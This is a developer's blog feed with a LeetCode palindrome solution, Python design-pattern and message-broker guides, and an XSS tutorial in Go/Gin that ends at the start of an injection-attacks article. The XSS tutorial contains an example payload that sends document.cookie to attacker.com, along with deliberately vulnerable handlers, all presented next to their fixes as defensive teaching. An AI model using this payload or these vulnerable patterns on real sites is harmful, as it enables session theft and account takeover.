Creational Design Patterns: Python 2026 — Singleton, Factory, Builder, and more
Message Brokers in 2026: Kafka, RabbitMQ, NATS — Architecture decisions
OWASP Top 10 for Developers (2026 Edition) — Security patterns
Durable Workflow Engines: Temporal vs dbt OS vs Transact vs Prefect — System patterns

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram: https://telegram.me/mahdi0shamlou
📸 Instagram: https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Mahdi Shamlou | Solving LeetCode #9: Palindrome Number — Step by Step

Mahdi SHamlou | مهدی شاملو — Thu, 11 Jun 2026 15:33:34 +0000

Hey everyone! Mahdi Shamlou here — back with another LeetCode classic problem 🚀

After #8 String to Integer (atoi), today I solved Problem #9 — Palindrome Number.

At first, I thought:

"This should be easy... just check whether the number reads the same from left to right and right to left."

But instead of reversing the number, I decided to treat it like a palindrome string problem and expand from the center.

Problem Statement

Given an integer x, return true if x is a palindrome, and false otherwise.

A palindrome number reads the same backward as forward.

Examples

Input: 121
Output: true

Input: -121
Output: false

Input: 10
Output: false

Input: 1221
Output: true

My Thought Process

When I started, this was my idea:

Change x from integer to string.
Find the center of the string.
Expand around the center.
Compare characters on both sides.
If everything matches until the edges, return True.

My initial notes were literally:

first of all i think change x from int to str
secend i think i can find center of str and expand around the center with consider odd or even x_str
three if any one of them is not equal we can return False else return True

So that's exactly the approach I implemented.

My Solution

class Solution:
    def isPalindrome(self, x: int) -> bool:
        """
            first of all i think change x from int to str 
            secend i think i can find center of str and expand around the center with consider odd or even x_str
            three if any one of them is not equal we can return False else return True 
        """
        x_str = str(x)
        x_is_palindrome = False   

        print(f"x : {x_str} and type : {type(x_str)}")

        if len(x_str) % 2 == 0:

            print(f"x is even and len is : {len(x_str)}")
            mid_of_str_num = len(x_str) / 2

            left = mid_of_str_num - 1
            right = mid_of_str_num 
            print(f"left for start is : {left}")
            print(f"right for start is : {right}")

            while left >= 0 and right < len(x_str) and x_str[int(left)] == x_str[int(right)]:
                left -= 1
                right += 1

            left = left + 1 
            right = right - 1

            print(f"left in end is : {left}")
            print(f"right in end is : {right}")

            return (left == 0) and (right == len(x_str)-1) 

        else:

            print(f"x is odd and len is : {len(x_str)}")
            mid_of_str_num = int(len(x_str) / 2)

            left = mid_of_str_num
            right = mid_of_str_num 

            print(f"left for start is : {left}")
            print(f"right for start is : {right}")

            while left >= 0 and right < len(x_str) and x_str[int(left)] == x_str[int(right)]:
                left -= 1
                right += 1

            left = left + 1 
            right = right - 1

            print(f"left in end is : {left}")
            print(f"right in end is : {right}")   

            return (left == 0) and (right == len(x_str)-1)      

        return False


x = Solution()
res = x.isPalindrome(x=121)
print(res)

How It Works

For Odd Length Numbers

Example:

The center is:

Start with:

left = center
right = center

Then expand outward:

1 2 1
^   ^

If both sides keep matching until we reach the edges, the number is a palindrome.

For Even Length Numbers

Example:

There is no single center.

Instead we start from:

12|21
  ^

and compare:

1 2 2 1
  ^ ^

Then expand:

1 2 2 1
^     ^

If every comparison matches, we return True.

What I Learned

This problem reminded me of a common pattern:

Expand Around Center

I usually think about this technique for string palindrome problems, but it also works nicely here after converting the integer into a string.

Another thing I noticed is that handling odd-length and even-length cases separately makes the logic easier to understand.

Complexity Analysis

Time Complexity

O(n)

We may visit each character once while expanding from the center.

Space Complexity

O(n)

Because we convert the integer into a string.

Final Thoughts

This problem wasn't really about a complicated algorithm.

For me, it was about taking a familiar palindrome technique and applying it to numbers.

I know there are other solutions that avoid converting to a string, but I wanted to solve it using the first idea that came to my mind and make it work correctly.

And that's one thing I enjoy about LeetCode:

Sometimes the best solution is not the first accepted solution. But every accepted solution teaches you something.

What About You?

Did you solve this problem using:

String conversion?
Reversing the integer?
Two pointers?
Another approach?

Drop your thoughts — I read everything! 🚀

My Repo (All Solutions)

GitHub — mahdi0shamlou/LeetCode

Want More?

If you enjoyed this deep dive, check out my other articles:

Design Patterns in Programming: Stop Building Spaghetti Code (2026 Edition) | Mahdi Shamlou — Design Patterns
Message Brokers in 2026: Kafka, RabbitMQ, NATS — Which One Should You Really Use — Architecture decisions
OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities — Security patterns
Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them — Attack patterns
Durable Workflow Engines: Temporal vs dbt OS vs Transact vs Prefect — System patterns

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram: https://telegram.me/mahdi0shamlou
📸 Instagram: https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Design Patterns in Programming: Stop Building Spaghetti Code (2026 Edition - Creational Patterns) | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Thu, 11 Jun 2026 14:40:56 +0000

Mahdi Shamlou here.

If you've read my OWASP Top 10 or durable workflow engines articles, you know I care about writing code that actually works in production. If you've seen my message broker comparison, you know I think deeply about system architecture.

Today, we're tackling something that separates junior developers from senior ones:

Which design patterns should you actually use in 2026?

I've seen countless codebases where developers either:

Don't use any patterns (chaos)
Overuse patterns everywhere (over-engineered nightmare)
Use patterns they don't understand (copy-paste disaster)
Pick the wrong pattern for the job (wrong tool, right hand)

Most tutorials teach patterns in a vacuum. They don't tell you when, where, and why to use them.

So I decided to write a practical guide that shows you the design patterns that matter, with real Python code you can use today.

Let's dive in.

What Are Design Patterns?

A design pattern is a reusable solution to a common programming problem.

Instead of reinventing the wheel every time, you use a proven blueprint that other developers have tested in real systems.

Think of them like recipes:

Instead of figuring out how to make pasta:
You follow a pattern (boil water → add salt → cook pasta → drain)

Design patterns help you:

Write cleaner code
Make systems easier to maintain
Avoid common mistakes
Communicate with other developers
Build scalable systems

The most practical patterns fall into three groups:

Creational — How to create objects
Structural — How to organize relationships between objects
Behavioral — How objects interact and communicate

Creational Patterns (That Actually Matter)

1. Singleton Pattern

The Singleton pattern ensures only one instance of a class exists.

When to use it:

Database connections
Configuration managers
Logging systems
Cache managers

Bad code (without pattern):

# Every time you call this, you get a new instance
class DatabaseConnection:
    def __init__(self):
        self.connection = connect_to_db()
        print("New connection created")

db1 = DatabaseConnection()  # "New connection created"
db2 = DatabaseConnection()  # "New connection created" again!
# Now you have 2 connections (bad!)

Good code (with Singleton):

class Singleton(type):
    _instances = {}

    def __call__(cls, *args, **kwargs):
        if cls not in cls._instances:
            cls._instances[cls] = super().__call__(*args, **kwargs)
        return cls._instances[cls]

class DatabaseConnection(metaclass=Singleton):
    def __init__(self):
        self.connection = connect_to_db()
        print("Connection created once")

db1 = DatabaseConnection()  # "Connection created once"
db2 = DatabaseConnection()  # Reuses same instance, nothing printed
print(db1 is db2)  # True - same object

Pros:

Only one instance in memory
Thread-safe when done right
Good for shared resources

Cons:

Can make testing harder
Global state (use carefully)
Can hide dependencies

2. Factory Pattern

The Factory pattern creates objects without telling the client what class to instantiate.

When to use it:

Creating different types of objects based on conditions
Database drivers (MySQL, PostgreSQL, MongoDB)
Payment processors (Stripe, PayPal, Square)
Log handlers (File, Email, Slack)

Bad code (without pattern):

# You need to know about every payment type
if payment_type == "stripe":
    processor = StripeProcessor()
elif payment_type == "paypal":
    processor = PayPalProcessor()
elif payment_type == "square":
    processor = SquareProcessor()
else:
    raise ValueError("Unknown payment type")

processor.process_payment(amount)

Good code (with Factory):

class PaymentProcessor:
    def process_payment(self, amount):
        raise NotImplementedError

class StripeProcessor(PaymentProcessor):
    def process_payment(self, amount):
        return f"Processing ${amount} with Stripe"

class PayPalProcessor(PaymentProcessor):
    def process_payment(self, amount):
        return f"Processing ${amount} with PayPal"

class SquareProcessor(PaymentProcessor):
    def process_payment(self, amount):
        return f"Processing ${amount} with Square"

class PaymentFactory:
    _processors = {
        "stripe": StripeProcessor,
        "paypal": PayPalProcessor,
        "square": SquareProcessor,
    }

    @staticmethod
    def create(payment_type):
        processor_class = PaymentFactory._processors.get(payment_type)
        if not processor_class:
            raise ValueError(f"Unknown payment type: {payment_type}")
        return processor_class()

# Now you just ask the factory
processor = PaymentFactory.create("stripe")
processor.process_payment(100)  # "Processing $100 with Stripe"

Pros:

Easy to add new types
Decouples client from concrete classes
Follows Open/Closed principle

Cons:

More classes to manage
Can be overkill for simple cases

3. Abstract Factory Pattern

The Abstract Factory pattern creates families of related objects without specifying their concrete classes.

If Factory Method answers:

"Which object should I create?"

Abstract Factory answers:

"Which group of related objects should I create together?"

Think about a real application that supports multiple databases.

When you choose PostgreSQL, you don't just need a PostgreSQL connection.

You also need:

PostgreSQL repositories
PostgreSQL query builders
PostgreSQL transaction managers

When you switch to MongoDB, you need the MongoDB versions of all those components.

Without Abstract Factory, your code becomes full of conditionals.

When to use it:

Supporting multiple databases
Multi-cloud systems (AWS, Azure, GCP)
Cross-platform applications
UI frameworks with multiple themes
Plugin architectures

Bad code (without pattern)

database_type = "postgres"

if database_type == "postgres":
    connection = PostgreSQLConnection()
    repository = PostgreSQLUserRepository()
    transaction = PostgreSQLTransactionManager()

elif database_type == "mongo":
    connection = MongoConnection()
    repository = MongoUserRepository()
    transaction = MongoTransactionManager()

else:
    raise ValueError("Unsupported database")

The problem:

Every new database requires more conditionals
Related objects can accidentally be mixed
Business logic becomes tightly coupled to implementations

Imagine accidentally creating:

connection = PostgreSQLConnection()
repository = MongoUserRepository()

Now your application is broken.

Good code (with Abstract Factory)

from abc import ABC, abstractmethod

# Products
class Connection(ABC):
    pass
class UserRepository(ABC):
    pass
class TransactionManager(ABC):
    pass

# PostgreSQL Family
class PostgreSQLConnection(Connection):
    pass
class PostgreSQLUserRepository(UserRepository):
    pass
class PostgreSQLTransactionManager(TransactionManager):
    pass

# MongoDB Family
class MongoConnection(Connection):
    pass
class MongoUserRepository(UserRepository):
    pass
class MongoTransactionManager(TransactionManager):
    pass


# Abstract Factory
class DatabaseFactory(ABC):

    @abstractmethod
    def create_connection(self):
        pass

    @abstractmethod
    def create_repository(self):
        pass

    @abstractmethod
    def create_transaction_manager(self):
        pass


# Concrete Factories
class PostgreSQLFactory(DatabaseFactory):

    def create_connection(self):
        return PostgreSQLConnection()

    def create_repository(self):
        return PostgreSQLUserRepository()

    def create_transaction_manager(self):
        return PostgreSQLTransactionManager()


class MongoFactory(DatabaseFactory):

    def create_connection(self):
        return MongoConnection()

    def create_repository(self):
        return MongoUserRepository()

    def create_transaction_manager(self):
        return MongoTransactionManager()


# Usage

factory = PostgreSQLFactory()

connection = factory.create_connection()
repository = factory.create_repository()
transaction = factory.create_transaction_manager()

Now all objects belong to the same family and remain compatible.

Pros:

Guarantees compatibility between related objects
Makes switching implementations easy
Reduces conditional logic
Follows the Open/Closed Principle

Cons:

Adds extra abstraction
More classes to maintain
Can be overkill for small projects

My Take:

Most developers don't need Abstract Factory every day.

But when you're building systems that support multiple providers, databases, clouds, or platforms, Abstract Factory can save you from hundreds of conditionals and a lot of architectural pain.

4. Builder Pattern

The Builder pattern constructs complex objects step by step instead of creating them with a massive constructor.

As applications grow, objects often require many optional parameters.

Soon you end up with constructors that are difficult to read, understand, and maintain.

The Builder pattern solves this problem by separating the construction process from the final object.

Think of ordering a custom computer.

You choose:

CPU
RAM
Storage
GPU
Operating System

The computer is built step by step before the final product is delivered.

That's exactly what the Builder pattern does.

When to use it

Complex configuration objects
API request builders
Query builders
Domain models with many optional fields
Object creation involving multiple steps

Bad code (without pattern)

class User:
    def __init__(
        self,
        name,
        email,
        phone=None,
        address=None,
        role=None,
        avatar=None,
        timezone=None,
        language=None,
    ):
        self.name = name
        self.email = email
        self.phone = phone
        self.address = address
        self.role = role
        self.avatar = avatar
        self.timezone = timezone
        self.language = language


user = User(
    "Mahdi",
    "mahdi@example.com",
    None,
    None,
    "admin",
    None,
    "UTC",
    "en",
)

Problems:

Hard to read
Easy to pass arguments incorrectly
Constructor grows forever

Good code (with Builder)

class UserBuilder:

    def __init__(self):
        self.user = {}

    def name(self, value):
        self.user["name"] = value
        return self

    def email(self, value):
        self.user["email"] = value
        return self

    def role(self, value):
        self.user["role"] = value
        return self

    def timezone(self, value):
        self.user["timezone"] = value
        return self

    def language(self, value):
        self.user["language"] = value
        return self

    def build(self):
        return self.user


user = (
    UserBuilder()
    .name("Mahdi")
    .email("mahdi@example.com")
    .role("admin")
    .timezone("UTC")
    .language("en")
    .build()
)

The result is far more readable.

Pros

Improves readability
Handles optional parameters elegantly
Makes object creation more explicit
Avoids giant constructors

Cons:

Additional class to maintain
Slightly more code

My Take:

Builder is one of the most practical patterns in modern software development.

Whenever you see constructors with ten or more parameters, Builder should immediately come to mind.

5. Prototype Pattern

The Prototype pattern creates new objects by cloning existing ones instead of constructing them from scratch.

This pattern becomes useful when object creation is expensive, slow, or complicated.

Rather than rebuilding everything every time, you create a copy of an existing object and modify only what changes.

Think about document templates.

Instead of creating a new invoice from scratch every time, you start with an invoice template and clone it.

When to use it

Expensive object creation
Template systems
Game development
Document generation
Large configuration objects

Bad code (without pattern)

class Invoice:

    def __init__(
        self,
        company_name,
        company_address,
        tax_rate,
        footer,
    ):
        self.company_name = company_name
        self.company_address = company_address
        self.tax_rate = tax_rate
        self.footer = footer


invoice1 = Invoice(
    "My Company",
    "New York",
    0.15,
    "Thank you for your business"
)

invoice2 = Invoice(
    "My Company",
    "New York",
    0.15,
    "Thank you for your business"
)

invoice3 = Invoice(
    "My Company",
    "New York",
    0.15,
    "Thank you for your business"
)

The same data is repeated over and over.

Good code (with Prototype)

from copy import deepcopy

class Invoice:

    def __init__(
        self,
        company_name,
        company_address,
        tax_rate,
        footer,
    ):
        self.company_name = company_name
        self.company_address = company_address
        self.tax_rate = tax_rate
        self.footer = footer

    def clone(self):
        return deepcopy(self)


template = Invoice(
    "My Company",
    "New York",
    0.15,
    "Thank you for your business"
)

invoice = template.clone()
invoice.customer = "John Doe"

invoice2 = template.clone()
invoice2.customer = "Jane Doe"

Now the common configuration is defined only once.

This is faster and easier to maintain.

Pros:

Faster object creation
Reduces duplication
Useful for template systems
Simplifies complex initialization

Cons:

Deep copying can become complicated
Circular references require care

My Take:

Prototype is less common than Factory or Builder, but when object creation becomes expensive, it's incredibly useful.

Many developers never explicitly implement Prototype, but they use the idea constantly through templates, cloning, and copying existing configurations.

Quick Comparison

Pattern	Purpose	Complexity	Common Use Cases
Singleton	Ensure one instance exists	Low	Logging, Configuration
Factory Method	Create objects conditionally	Low	Payment Providers, Storage Drivers
Abstract Factory	Create related families of objects	Medium	Databases, Cloud Providers
Builder	Construct complex objects step by step	Medium	Configurations, API Requests
Prototype	Clone existing objects	Medium	Templates, Games, Documents

Which Creational Patterns Should You Actually Use?

If you're building modern backend systems, these are the patterns you'll encounter most often:

Factory Method : Probably the most common pattern in production systems. Use it whenever object creation depends on runtime conditions.
Builder : Extremely useful for complex objects and configurations. Many modern frameworks use Builder-style APIs.
Singleton (Carefully) : Useful for shared resources, but dependency injection is often a better choice.
Abstract Factory : Valuable when supporting multiple providers, databases, platforms, or cloud vendors. Most small projects won't need it.
Prototype : Less common, but powerful when object creation becomes expensive or repetitive.

Final Thoughts

Design patterns are not rules. They're tools.

Use them when they solve real problems:

Factory when you need to create different types
Strategy when you have multiple ways to do something
Repository when you need to abstract data access
Observer when you have real events
Decorator when you need to add features without modifying code
Singleton carefully, and usually prefer dependency injection

The best code is code that's easy to read, test, and change. Patterns help with that. But bad code with patterns is still bad code.

Start with simple code. Add patterns when you need them. Don't add them "just in case."

What's Next?

This article focused entirely on Creational Design Patterns.
In the next article, we'll explore Structural Design Patterns
After that, we'll dive into Behavioral Design Patterns

Each article will include practical Python examples, production use cases, common mistakes, and guidance on when a pattern is actually worth using.

Stay tuned.

Want More?

If you enjoyed this deep dive, check out my other articles:

Message Brokers in 2026: Kafka, RabbitMQ, NATS — Which One Should You Really Use — Architecture decisions
OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities — Security patterns
Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them — Attack patterns
Durable Workflow Engines: Temporal vs dbt OS vs Transact vs Prefect — System patterns

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram: https://telegram.me/mahdi0shamlou
📸 Instagram: https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Message Brokers Comparison 2026 — Kafka, RabbitMQ, NATS & Redis Streams: Which One Should You Choose? | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Thu, 28 May 2026 13:53:26 +0000

Mahdi Shamlou here.

if you’ve read my OWASP Top 10 or SQL/NoSQL injection articles, you know I take reliability and security seriously. If you’ve seen my durable workflow engines post, you know I care about building systems that don’t fall apart under real-world conditions.

Today, we’re tackling a question that comes up in every serious backend discussion:

Which message broker should I use in 2026?

I’ve seen countless debates online:

“Kafka is always better.”
“RabbitMQ is outdated.”
“NATS is insanely fast.”
“Just use Redis.”

But most comparisons are either outdated, overly biased, or written without real engineering tradeoffs.

So I decided to make a fresh, practical comparison for software engineers in 2026.

Let’s dive in.

What Is a Message Broker?

A message broker helps different services talk to each other.

For example, instead of this:

payment_service.process_order(order)

you send a message:

broker.publish("order.created", order)

Then another service reads that message and does the work.

This helps us build systems that are:

More scalable
Easier to manage
More reliable
Better for background jobs

Message brokers are useful for:

Microservices
Notifications
Payment systems
Background tasks
Event-driven systems
Real-time systems

Today I want to compare these options:

Kafka
RabbitMQ
NATS
Redis Streams

1. Kafka

Kafka is one of the most popular message brokers.

Big companies like LinkedIn, Uber, and Netflix use it for handling a huge amount of data.

Kafka is very powerful and works well for large systems.

How it works

Kafka stores messages inside something called topics.

Messages stay there for some time, even after consumers read them.

This means you can:

Read messages again
Replay events
Save system history
Process a lot of data

Pros

Very scalable
High performance
Good for large systems
Can replay old messages
Strong reliability

Cons

Harder to learn
More setup and infrastructure
Too much for small projects

Best for

Large systems
Analytics
Event-driven architecture
High traffic systems

2. RabbitMQ

RabbitMQ is one of the oldest and most trusted message brokers.

Many developers use it because it is easier than Kafka and works very well for business systems.

How it works

RabbitMQ sends messages into queues.

Consumers read the messages and confirm when the job is finished.

RabbitMQ supports:

Retry
Delayed messages
Priority queues
Different routing methods

Pros

Easy to understand
Reliable
Good retry support
Mature and stable
Easier than Kafka

Cons

Not the best for very high scale
Message replay is weaker than Kafka

Best for

Payment systems
Notifications
Background jobs
Business applications

3. NATS

NATS is lightweight, simple, and very fast.

Many cloud-native systems use NATS because it is easy to run and gives very good performance.

How it works

NATS uses a publish/subscribe model.

Services send messages, and other services receive them.

With JetStream, NATS also supports persistence and better durability.

Pros

Very fast
Lightweight
Easy setup
Good for cloud systems

Cons

Smaller ecosystem than Kafka
Fewer features compared to RabbitMQ and Kafka

Best for

Real-time systems
Internal service communication
Cloud applications
Fast microservices

4. Redis Streams

Many developers already use Redis.

But some people forget that Redis can also work as a message broker.

Redis Streams is simple and useful for many systems.

How it works

Redis stores messages in streams.

Consumers can read messages in groups and process them.

It supports:

Persistence
Retry
Consumer groups

Pros

Easy to start
Simple setup
Good if you already use Redis
No extra infrastructure

Cons

Not good for very large systems
Fewer advanced features

Best for

Small and medium projects
Background jobs
Existing Redis projects

Quick Comparison

Feature	Kafka	RabbitMQ	NATS	Redis Streams
Speed	High	Medium	Very High	High
Easy Setup	No	Medium	Yes	Yes
Scalability	Very High	Good	High	Medium
Reliability	Strong	Strong	Good	Good
Learning Curve	Hard	Medium	Easy	Easy

My Take: Which One Should You Use?

For most teams, I think this is a good choice:

Start with RabbitMQ or NATS

If you want reliability and good features:

RabbitMQ

If you want speed and simplicity:

NATS

Use Redis Streams if you already use Redis. Sometimes you do not need another service. Redis Streams can be enough for many projects.

Use Kafka when your system becomes bigger. Kafka is powerful. But many teams start using Kafka too early. If your project is small or medium size, Kafka may add extra complexity.

Use Kafka if you need:

Very high scale
Event replay
Analytics systems
Large distributed systems

Final Thoughts

There is no perfect message broker. Every tool has advantages and disadvantages. Choose based on your project needs.

My simple suggestion:

RabbitMQ → business systems
NATS → fast modern systems
Redis Streams → simple projects
Kafka → large systems

Want More?

If you enjoyed this deep dive check out my other articles:

XSS Attacks Are Everywhere: Reflected, Stored, DOM-Based — How to Actually Fix Them (2026) — xss story.
Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them — The story that started it all.
OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities fixes. — Full list with code
What Is a Sandbox? How to Safely Run Any Unknown .exe — Essential for security testing.

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

XSS Attacks Are Everywhere: Reflected, Stored, DOM-Based — How to Actually Fix Them (2026) | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Thu, 28 May 2026 12:54:19 +0000

Mahdi Shamlou here.

Mahdi, okay fine — you got me with NoSQL injection last time ( read that story here ). But my site is definitely safe from XSS now. I sanitize all inputs on the backend in Go, I use strict validation, and I even have a WAF. It's impossible to hack.

I smiled. Then I asked for his URL — again.

Within 3 minutes, I popped an alert(document.cookie) on his profile page. Then I upgraded it to silently exfiltrate his session token to my server. His face went pale. Again.

Moral of the story: "I sanitize input on the backend" does NOT mean "I'm XSS-proof". XSS isn't about input — it's about output. If you render untrusted data into HTML, JavaScript, CSS, or URLs without proper context-aware encoding, you're vulnerable — no matter your stack, no matter your sanitization.

In this guide, I'll show you:

How I stole my friend's session with a 1-line XSS payload (and how to fix it in Go/Gin)
The 3 main XSS types — with real Go (Gin) code examples
Why even careful backend sanitization can fail against DOM-based XSS
Content Security Policy, DOMPurify, and Trusted Types — what actually works
Actual Go code fixes + tools to find these bugs automatically

Let's dive in.
🔗 Missed the NoSQL injection takedown? Read it here:
➡️ Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them

What Is XSS, Really?

Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious client-side scripts (usually JavaScript) into web pages viewed by other users.

The browser executes the code as if it came from the trusted site itself — because technically, it did. The root cause? Untrusted data is rendered into the page without proper encoding or sanitization.

XSS isn't about "hacking the server". It's about hacking the user's browser — and using that trust to steal cookies, redirect users, log keystrokes, or even take over accounts.

OWASP ranks XSS as a permanent member of the Top 10 (A03 in 2026, but historically A07). And it’s still everywhere — even on sites with “strict backend validation”.

Let’s break down the three flavours using only Go/Gin.

The 3 Main XSS Types (With Go/Gin Examples)

Reflected XSS — The “Click This Link” Attack

How it happens:
User input is immediately reflected back in the server’s response without encoding. Attackers craft a malicious link and trick victims into clicking it.

Vulnerable Go (Gin) code:

package main

import "github.com/gin-gonic/gin"

func main() {
    r := gin.Default()
    r.GET("/search", func(c *gin.Context) {
        q := c.Query("q")
        // 🚨 DANGER: raw string concatenation into HTML
        html := "<h1>Search results for: " + q + "</h1>"
        c.Data(200, "text/html", []byte(html))
    })
    r.Run()
}

Attacker payload:

/search?q=fetch('<a href="https://attacker.com/steal?cookie='+document.cookie">https://attacker.com/steal?cookie='+document.cookie</a>)

Result:

The victim’s browser executes the script and sends their session cookie to the attacker.

Fix — Use Gin’s template engine (auto‑escaping):


r.GET("/search-safe", func(c *gin.Context) {
    q := c.Query("q")
    // templates/search.tmpl: <h1>Search results for: {{ .Q }}</h1>
    c.HTML(200, "search.tmpl", gin.H{"Q": q})
})

Go’s html/template automatically escapes &, <, >, ', " and is context‑aware.

Stored XSS — The Silent Killer

How it happens:
Malicious input is saved in the database and later displayed to other users. Think comment sections, user profiles, or forum posts.

Vulnerable Go (Gin + MongoDB) code:

r.POST("/comment", func(c *gin.Context) {
    var cmt struct{ Username, Text string }
    c.BindJSON(&cmt)
    db.Collection("comments").InsertOne(ctx, cmt) // stored raw
})

r.GET("/comments", func(c *gin.Context) {
    var comments []struct{ Username, Text string }
    db.Collection("comments").Find(ctx, bson.M{}).All(&comments)
    html := "<ul>"
    for _, cmt := range comments {
        // 🚨 dangerous concatenation
        html += "<li><b>" + cmt.Username + "</b>: " + cmt.Text + "</li>"
    }
    html += "</ul>"
    c.Data(200, "text/html", []byte(html))
})

Attacker posts:

{ "username": "hacker", "text": "alert('XSS')" }
Every visitor to /comments gets the payload executed.

Fix — Encode on output using Go templates:

// comments.tmpl:
// <ul>{{range .}}<li><b>{{.Username}}</b>: {{.Text}}</li>{{end}}</ul>

r.GET("/comments-safe", func(c *gin.Context) {
    var comments []Comment
    db.Collection("comments").Find(ctx, bson.M{}).All(&comments)
    c.HTML(200, "comments.tmpl", gin.H{"Comments": comments})
})

Key lesson: Stored XSS proves that “sanitizing input on the backend” is a myth. You must encode on output, based on the context (HTML, attribute, JavaScript, etc.).

DOM‑Based XSS — The Frontend Betrayal

How it happens:
The vulnerability exists entirely in client‑side JavaScript. The server may be completely innocent — it sends safe HTML, but the frontend code unsafely manipulates the DOM using attacker‑controlled data (like location.hash or URL parameters).

Vulnerable Go/Gin serving an HTML file:


r.Static("/static", "./static")
r.GET("/profile", func(c *gin.Context) {
    c.HTML(200, "profile.tmpl", nil)
})

And inside profile.tmpl (no backend sanitisation can help here):


<script>
    let name = new URLSearchParams(location.search).get('name');
    // 🚨 dangerous innerHTML
    document.getElementById('welcome').innerHTML = 'Hello, ' + name;
</script>

Attacker payload:

/profile?name=

Fix — Use safe DOM APIs (still inside Go template):


<script>
    let name = new URLSearchParams(location.search).get('name');
    // ✅ use textContent
    document.getElementById('welcome').textContent = 'Hello, ' + name;
</script>

Or sanitise with DOMPurify (add the library in your static files):

<script src="/static/purify.min.js"></script>
<script>
    let name = new URLSearchParams(location.search).get('name');
    let clean = DOMPurify.sanitize(name, {ALLOWED_TAGS: []});
    document.getElementById('welcome').innerHTML = clean;
</script>

DOM‑based XSS is why scanning your frontend code for innerHTML, document.write, or eval() is critical. No amount of server‑side filtering can stop it.

Why “Backend Sanitization” Fails

My friend in the story used Go, strict validation, and a WAF. But DOM‑based XSS bypassed all of it.

The only reliable prevention:

Context‑aware output encoding on the rendering layer (HTML, JS, URL, CSS), plus a Content Security Policy (CSP) as a second line of defence.

Content Security Policy (CSP) + Trusted Types — Your Safety Net

Even if an XSS bug exists, CSP can block the malicious script from executing. And Trusted Types makes it impossible to write unsafe DOM injection code in the first place — a type‑safe approach to XSS prevention.

Set CSP Header in Gin Middleware

func CSP() gin.HandlerFunc {
    return func(c *gin.Context) {
        c.Header("Content-Security-Policy", 
            "default-src 'self'; " +
            "script-src 'nonce-abc123' 'strict-dynamic'; " +
            "require-trusted-types-for 'script'; " +
            "trusted-types myPolicy")
        c.Next()
    }
}

r.Use(CSP())

What this CSP does:

default-src 'self' – only allow resources from the same origin.
script-src 'nonce-abc123' 'strict-dynamic' – only execute scripts with a matching nonce (prevents inline script injection).
require-trusted-types-for 'script' – enforces Trusted Types: the browser will reject any string passed to an injection sink (innerHTML, outerHTML, document.write, etc.).
trusted-types myPolicy – allows only policies named myPolicy to create trusted HTML.

Trusted Types — Type‑Safe DOM Injection

With Trusted Types enabled, this code throws an error:

// 🚨 Browser blocks this (TypeError)
element.innerHTML = userInput;

Instead, you must create a trusted type using a policy:

// Create a policy (once, usually in your main.js)
const policy = trustedTypes.createPolicy('myPolicy', {
    createHTML: (input) => {
        // Sanitize or safely encode here
        return DOMPurify.sanitize(input);
    }
});

// ✅ Safe: browser accepts because it's a TrustedHTML object
element.innerHTML = policy.createHTML(userInput);

Why Trusted Types wins:

Type safety – the browser enforces that only trusted objects reach dangerous functions.
No forgetting – you can’t accidentally write innerHTML = x without a policy.
Backwards compatible – unsupported browsers ignore the header.

Hands‑On Practice (Don’t Just Read)

PortSwigger XSS Labs — Reflected, Stored, DOM, and advanced bypasses.
OWASP Juice Shop — XSS challenges in a realistic web app.
XSS Game (Google) — Six fun levels for beginners.

Remember: Use isolated Docker or VMs for testing. XSS payloads can still be destructive (e.g., stealing cookies, defacing pages).

Want More?

If you enjoyed this deep dive into XSS, check out my other articles:

Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them — The story that started it all.
OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities fixes. — Full list with code
What Is a Sandbox? How to Safely Run Any Unknown .exe — Essential for security testing.

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them (2026) | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Sun, 10 May 2026 10:03:53 +0000

Mahdi Shamlou here.

“Mahdi, I finally launched my e‑commerce site. And don’t worry — I used MongoDB, so no SQL injection. You can’t hack it.”

I laughed. Then I asked him to let me try.

Within 10 minutes, I bypassed his login with a NoSQL injection and pulled out his entire user collection. His face went pale.

Moral of the story: “No SQL” does NOT mean “no injection”. Injection is a whole class of attacks — SQL, NoSQL, ORM, command, LDAP, you name it. If you concatenate user input into any kind of query or system command, you’re likely vulnerable.

In this guide, I’ll show you:

How I hacked my friend’s NoSQL login (and how to fix it).
Classic SQL injection — still alive and well.
How even an ORM like SQLAlchemy can betray you if you misuse it.
Command injection that gives attackers a shell on your server.
Actual code fixes + tools to find these bugs automatically.

Let’s dive in.

The Story: “But I Use NoSQL! (And Why That’s Not Enough)

My friend’s site had a simple login form like this:


// Node.js + Express + MongoDB
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  db.collection('users').findOne({
